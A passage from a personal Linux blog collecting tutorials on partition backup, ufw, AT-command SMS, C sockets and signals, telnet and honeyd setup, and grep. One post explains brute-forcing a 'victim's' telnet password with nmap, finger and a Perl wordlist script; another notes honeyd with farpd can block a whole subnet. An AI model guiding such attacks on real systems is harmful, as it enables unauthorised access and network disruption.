PoiNtEr->: linux

                             Difference between a dream and an aim. A dream requires soundless sleep, whereas an aim requires sleepless efforts.

Search This Blog

Showing posts with label linux. Show all posts
Showing posts with label linux. Show all posts

Wednesday, January 2, 2013

BACKUP PARTITION TABLE


In computer hardware, GUID Partition Table (GPT) is a standard for the layout of the partition table on a physical hard disk. Although it forms a part of the Extensible Firmware Interface (EFI) standard (Intel's proposed replacement for the PC BIOS), it is also used on some BIOS systems because of the limitations of MBR partition tables, which use 32 bits for storing logical block addresses and size information. For disks with 512-byte sectors, the MBR partition table entries allow up to a maximum of 2.20 TB (2.20 × 1012 bytes) or 2 TiB−512 bytes (2,199,023,255,040 bytes or 4,294,967,295 (232−1) sectors × 512 (29) bytes per sector).[1] GPT allocates 64 bits for logical block addresses and therefore allows a maximum disk and partition size of 264−1 sectors. For disks with 512-byte sectors, that would be 9.4 ZB (9.4 × 1021 bytes)[1][2] or 8 ZiB−512 bytes (9,444,732,965,739,290,426,880 bytes or 18,446,744,073,709,551,615 (264−1) sectors × 512 (29) bytes per sector).
Using Following two ways you can store Partition table.


1:)dd the old good command which now backup partition tables. Backing up partition is nothing but actually backing up MBR (master boot record). The command is as follows for backing up MBR stored on /dev/sdX or /dev/hdX depending upon whether you are using scsi or ide :

# dd if=/dev/sdX of=/tmp/sda-mbr.bin bs=512 count=1

Replace X with actual device name such as /dev/sda.

Now to restore partition table to disk, all you need to do is use dd command:
# dd if= sda-mbr.bin of=/dev/sdX bs=1 count=64 skip=446 seek=446

 446 bytes of Bootstrap code, then 4 partition entries x 16 bytes = 64 bytes, then 2 bytes of signature (a 16 bit number = 0101010110101010).


2:)
We can get a quick look on all the existing partitions on all the available hard drives with fdisk using the -l switch without any other parameter




mango@pineapple:~$ sudo fdisk -l
[sudo] password for mango: 

Disk /dev/sda: 16.1 GB, 16106127360 bytes
255 heads, 63 sectors/track, 1958 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk identifier: 0x0000a1e3

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1        1870    15020743+  83  Linux
/dev/sda2            1871        1958      706860    5  Extended
/dev/sda5            1871        1958      706828+  82  Linux swap / Solaris



mango@pineapple:~$ sudo sfdisk -d /dev/sda
# partition table of /dev/sda
unit: sectors

/dev/sda1 : start=       63, size= 30041487, Id=83, bootable
/dev/sda2 : start= 30041550, size=  1413720, Id= 5
/dev/sda3 : start=        0, size=        0, Id= 0
/dev/sda4 : start=        0, size=        0, Id= 0
/dev/sda5 : start= 30041613, size=  1413657, Id=82

Using sfdisk with the -d option we can get a dump of the current partition table in a regular file, and if needed we can restore it from that file:
sfdisk -d /dev/sda > sdaTable
and to restore the partition table:
sfdisk /dev/sda <>sdaTable



Friday, December 28, 2012

ufw - Uncomplicated Firewall


The Linux kernel includes the Netfilter subsystem, which is used to manipulate or decide the fate of network traffic headed into or through your server. All modern Linux firewall solutions use this system for packet filtering.
The kernel's packet filtering system would be of little use to administrators without a userspace interface to manage it. This is the purpose of iptables. When a packet reaches your server, it will be handed off to the Netfilter subsystem for acceptance, manipulation, or rejection based on the rules supplied to it from userspace via iptables. Thus, iptables is all you need to manage your firewall if you're familiar with it, but many frontends are available to simplify the task.

ufw - Uncomplicated Firewall
The default firewall configuration tool for Ubuntu is ufw. Developed to ease iptables firewall configuration, ufw provides a user friendly way to create an IPv4 or IPv6 host-based firewall.

ufw by default is initially disabled. From the ufw man page:

“ ufw is not intended to provide complete firewall functionality via its command interface, but instead provides an easy way to add or remove simple rules. It is currently mainly used for host-based firewalls. ”

The following are some examples of how to use ufw:

First, ufw needs to be enabled. From a terminal prompt enter:

sudo ufw enable
To open a port (ssh in this example):

sudo ufw allow 22
Rules can also be added using a numbered format:

sudo ufw insert 1 allow 80
Similarly, to close an opened port:

sudo ufw deny 22
To remove a rule, use delete followed by the rule:

sudo ufw delete deny 22
It is also possible to allow access from specific hosts or networks to a port. The following example allows ssh access from host 192.168.0.2 to any ip address on this host:

sudo ufw allow proto tcp from 192.168.0.2 to any port 22
Replace 192.168.0.2 with 192.168.0.0/24 to allow ssh access from the entire subnet.

Adding the --dry-run option to a ufw command will output the resulting rules, but not apply them. For example, the following is what would be applied if opening the HTTP port:

 sudo ufw --dry-run allow http
*filter
:ufw-user-input - [0:0]
:ufw-user-output - [0:0]
:ufw-user-forward - [0:0]
:ufw-user-limit - [0:0]
:ufw-user-limit-accept - [0:0]
### RULES ###

### tuple ### allow tcp 80 0.0.0.0/0 any 0.0.0.0/0
-A ufw-user-input -p tcp --dport 80 -j ACCEPT

### END RULES ###
-A ufw-user-input -j RETURN
-A ufw-user-output -j RETURN
-A ufw-user-forward -j RETURN
-A ufw-user-limit -m limit --limit 3/minute -j LOG --log-prefix "[UFW LIMIT]: "
-A ufw-user-limit -j REJECT
-A ufw-user-limit-accept -j ACCEPT
COMMIT
Rules updated
ufw can be disabled by:

sudo ufw disable
To see the firewall status, enter:

sudo ufw status
And for more verbose status information use:

sudo ufw status verbose
To view the numbered format:

sudo ufw status numbered

AT-Commands


In this tutorial I will walk through the steps of sending and receiving text message (SMS) from your Ubuntu laptop using a package called minicom. We also need a modem which dials into the telco provider. For this I use a USB Wifi modem.


Firstly connect the USB Wifi modem to a USB port of your laptop or PC. Fire up your mnicom program. If it was not installed, you can easily do so by typing:

#apt-get install minicom

To launch minicom, type:

root@ubuntu:~/script# minicom -m

Welcome to minicom 2.3

OPTIONS: I18n



Port /dev/ttyUSB1

Press ESC,Z for help on special keys

AT S7=45 S0=0 L1 V1 X4 &c1 E1 Q0

OK

You will get a OK prompt, which means that your minicom recognizes the USB Wifi modem. You can configure the device when in OK prompt using a combination of keys i.e. Press Ctrl and A together and release.Then press Z for the menu. In the menu you should press O to configure minicom.

One of the important settings is the port settings. In my case it is set at /dev/ttyUSB1. In case you need to terminal into a Ciso router, you can try /dev/ttyS0. To do this press Ctrl and A together and release.Then press Z for the menu. In the menu you should press O to configure minicom. Select Serial Port setup



Set the Bps as 115200 8N1

Now let’s send a SMS to your own mobile phone. At the OK prompt in minicom type:
Send a message to your handphone

at+cmgf=1

OK

at+cmgw=”some_mobile_number”

For example,

at+cmgw=”12345678″

> its fun

>

Press Ctrl+Z when you finish typing your message. In my case I don’t need to type the country code +91

+CMGW: 1

OK

at+cmss=1

+CMSS: 0

OK

My handphone received the SMS

To read the SMS,

at+cmgl=”all”

+CMGL: 1,”STO SENT”,”mobilenumber”,,

its fun

+CMGL: 0,”STO UNSENT”,”+mobilenumber”,,

hello !!

OK

at+cmgr=0

+CMGR: “STO UNSENT”,”+mobilenumber”,

hello !!

OK


Making calls from Modem to Mobile Pphone

ATDmobilenumber;
Reading messages on your Wifi Modem SIM Card

Read all the messages

at+cmgl=”all”

+CMGL: 0,”REC READ”,”+91mobilenumber”,,”10/06/20,19:43:29+32″

It works!

+CMGL: 1,”REC UNREAD”,”+91mobilenumber”,,”10/06/21,19:03:10+32″

chill

The latest SMS is unread

Read the SMS

at+cmgr=1

+CMGR: “REC READ”,”+91mobilenumber”,,”10/06/21,19:03:10+32″

chill

OK

Now the status is read

at+cmgl=”all”

+CMGL: 0,”REC READ”,”+91mobilenumber”,,”10/06/20,19:43:29+32″

It works!

+CMGL: 1,”REC READ”,”+91mobilenumber”,,”10/06/21,19:03:10+32″

chill

OK

Reading package lists... Error!



  1. rm /var/lib/dpkg/status
  2. cp /var/lib/dpkg/status-old /var/lib/dpkg/status
  3. rm -rf /var/lib/apt/lists/*
  4. dpkg --configure -a
  5. apt-get update
  6. apt-get install -f

Wednesday, June 27, 2012

Socket programming in C


This is a quick tutorial to learning socket programming in C language on a Ubuntu system. “Ubuntu” because the code snippets shown over here will work only on a Linux system and not on Windows. 

Socket
Sockets are the fundamental “things” behind any kind of network communications done by your computer. For example when you type www.vishalmishra.tk in your web browser, it opens a socket and connects to www.vishalmishra.tk to fetch the page and show it to you. 
A network socket is an endpoint of an inter-process communication flow across a computer network. Today, most communication between computers is based on the Internet Protocol; therefore most network sockets are Internet sockets.
An Internet socket is characterized by a unique combination of the following:Local socket address: Local IP address and port numberRemote socket address: Only for established TCP sockets. As discussed in the client-server section below, this is necessary since a TCP server may serve several clients concurrently. The server creates one socket for each client, and these sockets share the same local socket address.Protocol: A transport protocol (e.g., TCP, UDP, raw IP, or others). TCP port 53 and UDP port 53 are consequently different, distinct sockets.Within the operating system and the application that created a socket, the socket is referred to by a unique integer number called socket identifier or socket number. The operating system forwards the payload of incoming IP packets to the corresponding application by extracting the socket address information from the IP and transport protocol headers and stripping the headers from the application data.
Socket types
There are several Internet socket types available:
Datagram sockets, also known as connectionless sockets, which use User Datagram Protocol (UDP)
Stream sockets, also known as connection-oriented sockets, which use Transmission Control Protocol (TCP) or Stream Control Transmission Protocol (SCTP).
Raw sockets (or Raw IP sockets), typically available in routers and other network equipment. Here the transport layer is bypassed, and the packet headers are made accessible to the application.
Creating a socket
This first thing to do is create a socket. The socket() function does this.
Here is a code sample :
#include<stdio.h>
#include<sys/socket.h>
int main(int argc , char *argv[])
{
int socket_desc;socket_desc = socket(AF_INET , SOCK_STREAM , 0);
if (socket_desc == -1)
{
printf("Could not create socket");
}
return 0;
}
Function socket() creates a socket and returns a socket descriptor which can be used in other network commands. The above code will create a socket of :
Address Family : AF_INET (this is IP version 4)
Type : SOCK_STREAM (this means connection oriented TCP protocol)
Protocol : 0 [ or IPPROTO_IP This is IP protocol]Ok , so you have created a socket successfully. But what next ?
Now  we shall try to connect to some server using this socket. 
Connect to a Server
We connect to a remote server on a certain port number. So we need 2 things , IP address and port number to connect to.To connect to a remote server we need to do a couple of things. First is create a sockaddr_in structure with proper values filled in. Lets create one for ourselves :
struct sockaddr_in server;
Have a look at the structure
// IPv4 AF_INET sockets:
struct sockaddr_in {
    short            sin_family;   // e.g. AF_INET, AF_INET6
    unsigned short   sin_port;     // e.g. htons(3490)
    struct in_addr   sin_addr;     // see struct in_addr, below
    char             sin_zero[8];  // zero this if you want to
};

struct in_addr {
    unsigned long s_addr;          // load with inet_pton()
};

struct sockaddr {
    unsigned short    sa_family;    // address family, AF_xxx
    char              sa_data[14];  // 14 bytes of protocol address
};

The sockaddr_in has a member called sin_addr of type in_addr which has a s_addr which is nothing but a long. It contains the IP address in long format.
Function inet_addr is a very handy function to convert an IP address to a long format. This is how you do it :
server.sin_addr.s_addr = inet_addr("46.51.216.186");
So you need to know the IP address of the remote server you are connecting to. Here we used the ip address of duckduckgo.com as a sample. A little later on we shall see how to find out the ip address of a given domain name.
The last thing needed is the connect function. It needs a socket and a sockaddr structure to connect to. Here is a code sample.
#include<stdio.h>
#include<sys/socket.h>
#include<arpa/inet.h> //inet_addr

int main(int argc , char *argv[])
{
 int socket_desc;
 struct sockaddr_in server;
 
 //Create socket
 socket_desc = socket(AF_INET , SOCK_STREAM , 0);
 if (socket_desc == -1)
 {
  printf("Could not create socket");
 }
  
 server.sin_addr.s_addr = inet_addr("46.51.216.186");
 server.sin_family = AF_INET;
 server.sin_port = htons( 80 );

 //Connect to remote server
 if (connect(socket_desc , (struct sockaddr *)&server , sizeof(server)) < 0)
 {
  puts("connect error");
  return 1;
 }
 
 puts("Connected");
 return 0;
}
It cannot be any simpler. It creates a socket and then connects. If you run the program it should show Connected.
Try connecting to a port different from port 80 and you should not be able to connect which indicates that the port is not open for connection.
Now in next post we will see how to send some data to remote server.

Friday, June 8, 2012

Install and Configure Telnet Server in Ubuntu-12.04


You will find the Telnet server installation packages in Synaptic under the telnetd package.If you want to install telnet server package you can also use the following command


sudo apt-get install xinetd telnetd


This will complete the installation.Now you Restart inetd service using the following command


sudo /etc/init.d/inetd restart


Once installed now go to terminal and follow following instruction
1:Create /etc/inetd.conf ,if it already exist then no need to create just open it with your favorite editor


sudo vi /etc/inetd.conf


add following line in it if its already there then uncomment it: 

telnet         stream  tcp     nowait  telnetd.telnetd /usr/sbin/tcpd  /usr/sbin/in.telnetd

you can now fire up your other Linux box and type telnet . You are prompted to enter your username and password. The whole conversation should look like this



vishal@Eva:~$ telnet localhost
Trying 192.168.2.200...
Connected to localhost.
Escape character is '^]'.
Ubuntu 12.04 LTS
Eva.localhost login: vishal
Password: 
Last login: Wed Jun  6 12:26:51 IST 2012 on tty2
Welcome to Ubuntu 12.04 LTS (GNU/Linux 2.6.38-10-generic i686)


 * Documentation:  https://help.ubuntu.com/


75 packages can be updated.
25 updates are security updates.


*** /dev/sda5 will be checked for errors at next reboot ***


You have new mail.
vishal@Eva:~$ 

you can also try it from other system or from virtual machine(xp or any) to connect by using 
“telnet ip address” of linux machine which is running telnet sever,after this it will ask you for login and thats it !!

Note that the server responds with Welcome to telnetserver, running Ubuntu LAMP server, which is a customized message. Your machine will probably respond with Ubuntu and some version information. This is insecure: giving away version numbers is never a smart move. In fact, even saying Ubuntu is questionable. Edit the issue and issue.net files in your /etc directory to change these messages.
Running the w command now shows you as connecting from the external IP address.
like:

vishal@Eva:~$ w
 12:36:11 up  2:47,  4 users,  load average: 0.58, 0.47, 0.65
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
vishal   pts/1    :0               10:05   43:05   0.40s  2:21  gnome-terminal
vishal   pts/4    :0               11:53   42:57   0.82s  2:21  gnome-terminal
vishal   pts/5    localhost    12:35    0.00s  0.75s  0.01s w
vishal   pts/6    :0               12:16    0.00s  0.44s  0.00s telnet localhost

Thursday, May 17, 2012

Install Honeyd on Ubuntu


                       
Firstly, open up your terminal. Then update your package listings as shown below:

Eva@Vishal~$ sudo apt-get update

Next, install honeyd and its dependencies using apt-get.

Eva@Vishal~$ sudo apt-get install honeyd honeyd-common

The package “honeyd” contains the actual honeyd service, and “honeyd-common” contains various scripts and extra components that will emulate all of the port services on the virtual honeypots, such as SSH, HTTP, rsh, etc.
My configuration files in /etc/honeypot/

1:honeyd.conf

create default
set default default tcp action block
set default default udp action block
set default default icmp action block

create windows
set windows personality "Microsoft Windows XP Professional SP1"
set windows default tcp action reset
add windows tcp port 135 open
add windows tcp port 139 open
add windows tcp port 445 open

set windows ethernet "00:00:24:ab:8c:12"
dhcp windows on eth1

2:fakemachine.conf

create windows
set windows personality "Microsoft Windows XP Professional"
add windows tcp port 80 "sh scripts/web.sh"
add windows tcp port 25 "perl scripts/snmp/fake-snmp.pl"
add windows tcp port 23 "perl scripts/telnet/faketelnet.pl"
add windows tcp port 139 open
add windows tcp port 137 open
add windows udp port 137 open
add windows udp port 135 open
set windows default tcp action reset
set windows default udp action reset
set windows ethernet "00:00:24:ab:8c:12"
bind 192.168.2.50 windows


To load the honeypot(s) into honeyd and deploy them, simply enter the appropriate commands.
Eva@Vishal~$ honeyd -d -f honeypots.conf

The -d parameter forces honeyd not to run in the background as a daemon and dumps any and all output information into the terminal. If you wish to log the data  into a file, simply use the -l option.
Eva@Vishal~$ honeyd -d -f honeypots.conf -l log.out

Starting Nmap 5.21 ( http://nmap.org ) at 2012-05-26 21:48 IDT

Interesting ports on 192.168.1.50:

PORT     STATE  SERVICE
23/tcp     open        telnet
25/tcp     open        smtp
80/tcp     open        http
.
.
.
Now with some Magic commands you can create fakemachines on all empty ip's.
Well you can use this technique to capture ipv4 address , using farpd with honeyd.
Remember No one will be able to connect to your network if you run honeyd on whole network using following command:
honeyd -d -i wlan0 -f /etc/honeypot/myfakemachine.conf 192.168.2.0/24 &
with farpd actively running. 
I things thats enough i have already told you just try to figure out by your self and Go and hack Your network before some other guy hack it.

Have Any Question feel free to Comment Below:-)



HoneyD Network Architecture






As can be seen, the design has three distinct network segments:


  • Publicly route-able IPs
  • Internal network for honeypot hosts
  • Virtual network for honeyd guest systems. These IP addresses sit on loopback interface on the host, with a static route on the firewall to pass all virtual traffic to the honeyd host.

Using a perimeter firewall with NAT/PAT capabilities allows easy switching between emulated systems and services if your public IP resources are limited; a large network of guests can be configured in advance and left static, then a quick firewall change is all that is required to expose different systems to the world.

Additionally, as much as honeypot systems are designed to be compromised and collect information of malicious attacks (or perhaps more correctly, because of this) , low-interaction systems like honeyd is designed to avoid full compromise. If something goes wrong and the host system gets fully compromised, a (sufficiently configured) perimeter firewall provides some control of outgoing traffic, limiting the attackers options for using the honeypot sensor to attack other systems.

Tuesday, April 10, 2012

Crack Telnet Password Using Brute Force




First Install Zenmap on your ubuntu machine:
sudo apt-get install zenmap

Now open your terminal and use following command to check open ports on victim's system
nmapfe
now in gui prompt put the ip address of victim in target box.

Output(sample):

Starting Nmap 5.21 ( http://nmap.org ) at 2012-04-11 07:20 IST
NSE: Loaded 36 scripts for scanning.
Initiating ARP Ping Scan at 07:20
Scanning 192.168.2.10 [1 port]
Completed ARP Ping Scan at 07:20, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:20
Completed Parallel DNS resolution of 1 host. at 07:20, 0.09s elapsed
Initiating SYN Stealth Scan at 07:20
Scanning 192.168.2.10 [1000 ports]
Discovered open port 445/tcp on 192.168.2.10
Discovered open port 80/tcp on 192.168.2.10
Discovered open port 23/tcp on 192.168.2.10
Discovered open port 139/tcp on 192.168.2.10
Completed SYN Stealth Scan at 07:20, 2.70s elapsed (1000 total ports)
Initiating Service scan at 07:20
Scanning 4 services on 192.168.2.10
Completed Service scan at 07:20, 11.04s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.2.10
Retrying OS detection (try #2) against 192.168.2.10
Retrying OS detection (try #3) against 192.168.2.10
Retrying OS detection (try #4) against 192.168.2.10
Retrying OS detection (try #5) against 192.168.2.10
NSE: Script scanning 192.168.2.10.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 07:21
Completed NSE at 07:21, 0.08s elapsed
NSE: Script Scanning completed.
Nmap scan report for 192.168.2.10
Host is up (0.0021s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE     VERSION
23/tcp  open  telnet      Linux telnetd
80/tcp  open  http        Apache httpd 2.2.17 ((Ubuntu))
|_html-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
MAC Address: 00:24:2B:DB:74:9F (Hon Hai Precision Ind.Co.)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=5.21%D=4/11%OT=23%CT=1%CU=35230%PV=Y%DS=1%DC=D%G=Y%M=00242B%TM=4F
OS:84E390%P=i686-pc-linux-gnu)SEQ(SP=CA%GCD=1%ISR=CD%TI=Z%CI=Z%II=I%TS=8)OP
OS:S(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O5=M5B4ST
OS:11NW6%O6=M5B4ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=3890)EC
OS:N(R=Y%DF=Y%T=40%W=3908%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=3890%S=O%A=S+%F=AS%O=M5B4ST11NW6%RD
OS:=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S
OS:=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%
OS:RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)


Uptime guess: 0.011 days (since Wed Apr 11 07:05:17 2012)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=202 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux


Host script results:
| nbstat:  
|   NetBIOS name: UMESH-VOSTRO151, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
|   Names
|     UMESH-VOSTRO151<00>  Flags: <unique><active>
|     UMESH-VOSTRO151<03>  Flags: <unique><active>
|     UMESH-VOSTRO151<20>  Flags: <unique><active>
|     WORKGROUP<1e>        Flags: <group><active>
|_    WORKGROUP<00>        Flags: <group><active>
| smb-os-discovery:  
|   OS: Unix (Samba 3.5.8)
|   Name: Unknown\Unknown
|_  System time: 2012-04-11 07:21:12 UTC+5.5
|_smbv2-enabled: Server doesn't support SMBv2 protocol


HOP RTT     ADDRESS
1   2.10 ms 192.168.2.10


Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.00 seconds
           Raw packets sent: 1134 (53.704KB) | Rcvd: 1076 (46.608KB)



Now Download following files and extract them:

Open a new Terminal and browse to extracted files and put following command in it:
To get the username use:
finger@ 192.168.2.10 (ipaddress of victim)
output:
umesh root

Now To brute-force run perl script with given parameters.
perl Telnet_Crack.pl -h 192.168.2.10 -u umesh -P polish

output:
TRYING : USERNAME = XXXX PASSWORD = password

ATTEMPTING CONNECTION TO 192.168.2.10.

OK ... CONNECTED!!!



it will take time and it depends on the strength of password that how long you have to wait to get the result.

Monday, March 26, 2012

How To Use Grep Command In Ubuntu(Linux)

Grep Command(linux)
                                                              


The grep command is one of the most useful in Linux. It may not seem that exciting at first, but once you learn about pipes you'll begin to see why it's so indispensable.Put simply, grep searches through one or more text files for a specific word or phrase. For any lines it finds which include the specified word or phrase, it will display them on the screen. It will also work with standard output , when combined with pipes.
Simple example: Your name is vishal and you know that somewhere in your /home directory is a file you've written for work. Let's say you know that it has the word vishalmishra in it. So you can instruct grep to search through all the files in your home directory like this:
grep -r vishalmishra /home/vishal/*


if you wanted to make it include results in both upper and lower case, then use the -i option:
grep -ir vishalmishra /home/vishal/*



Suppose you want to see n lines after the match has found then use -A:
grep -A 3 -ir vishalmishra /home/vishal/*

Now above command will show you next 3 lines after the match word.


Suppose you want to see n lines before the match has found then use -B:
grep -B 3 -ir vishalmishra /home/vishal/*

Now above command will show you  3 lines before the match word.


Use -C option to Display N lines around the match:
 grep -C 3 -ir vishalmishra /home/vishal/*


Use -v option for invert match:
grep -v -r vishalmishra /home/vishal/*


If You want to count the number of matches then use -c option:
grep -c -r vishalmishra /home/vishal/*


If you want to known only file names that contain a specific match then use -l:
grep -l -r vishalmishra /home/vishal/*




Friday, March 9, 2012

Linux Signals – Example C Program to Catch Signal (SIGINT)


What is a signal? Signals are software interrupts.
A robust program need to handle signals. This is because signals are a way to deliver asynchronous events to the application.A user hitting ctrl+c, a process sending a signal to kill another process etc are all such cases where a process needs to do signal handling.
Linux Signals
In Linux, every signal has a name that begins with characters SIG. For example 
 * +--------------------+------------------+
 * |  POSIX signal      |  default action  |
 * +--------------------+------------------+
 * |  SIGHUP               |  terminate |
 * |  SIGINT                  | terminate |
 * |  SIGQUIT                | coredump |
 * |  SIGILL                     | coredump |
 * |  SIGTRAP                | coredump |
 * |  SIGABRT/SIGIOT    | coredump |
 * |  SIGBUS            | coredump |
 * |  SIGFPE            | coredump |
 * |  SIGKILL           | terminate(+) |
 * |  SIGUSR1           | terminate |
 * |  SIGSEGV           | coredump |
 * |  SIGUSR2           | terminate |
 * |  SIGPIPE           | terminate |
 * |  SIGALRM           | terminate |
 * |  SIGTERM           | terminate |
 * |  SIGCHLD           | ignore   |
 * |  SIGCONT           | ignore(*) |
 * |  SIGSTOP           | stop(*)(+)   |
 * |  SIGTSTP           | stop(*)   |
 * |  SIGTTIN           | stop(*)   |
 * |  SIGTTOU           | stop(*)   |
 * |  SIGURG            | ignore   |
 * |  SIGXCPU           | coredump |
 * |  SIGXFSZ           | coredump |
 * |  SIGVTALRM         | terminate |
 * |  SIGPROF           | terminate |
 * |  SIGPOLL/SIGIO     | terminate |
 * |  SIGSYS/SIGUNUSED  | coredump |
 * |  SIGSTKFLT         | terminate |
 * |  SIGWINCH          | ignore   |
 * |  SIGPWR            | terminate |
 * |  SIGRTMIN-SIGRTMAX | terminate       |
 * +--------------------+------------------+
 * |  non-POSIX signal  |  default action  |
 * +--------------------+------------------+
 * |  SIGEMT            |  coredump |
 * +--------------------+------------------+

Example C Program to Catch Signal "SIGINT"
//sigint.c
#include<stdio.h>
#include<signal.h>
#include<unistd.h>
void sig_handler(int signo)
{
  if (signo == SIGINT)
    printf("received SIGINT\n");
}
int main(void)
{
  if (signal(SIGINT, sig_handler) == SIG_ERR)
  printf("\ncan't catch SIGINT\n");
  // A long long wait so that we can easily issue a signal to this process
  while(1) 
    sleep(1);
  return 0;
}


gcc -o sigint sigint.c
Output: